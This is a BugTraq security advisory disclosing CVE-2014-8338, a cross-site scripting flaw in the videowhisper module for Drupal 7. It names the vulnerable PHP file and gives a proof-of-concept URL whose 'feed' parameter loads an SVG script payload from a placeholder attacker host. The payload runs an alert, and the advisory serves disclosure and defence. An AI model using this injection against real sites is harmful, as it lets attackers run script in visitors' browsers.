BugTraq
[CVE-2014-8338] Cross Site Scripting (XSS) vulnerability in videowhisper Nov 06 2014 07:11AM
mdgh9 yahoo com
Hello,

Cross Site Scripting (XSS) vulnerability exists in videowhisper module for Drupal 7.

Vendor Notification: 22, Oct 2014

Vulnerable file: drupal/modules/videowhisper/vwrooms/js/jsor-jcarousel/examples/special_t
extscroller.php

POC: http://vulnerable-website/drupal/modules/videowhisper/vwrooms/js/jsor-jc
arousel/examples/special_textscroller.php?feed=http://attacker-website/x
ss.txt

The content of xss.txt:
<root>
<script xmlns="http://www.w3.org/2000/svg"><![CDATA[
alert('XSS');
]]></script>
</root>

Discovered by Mahmoud Ghorbanzadeh, in Amirkabir University of Technology's Scientific Excellence and Research Centers.

Best regards

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus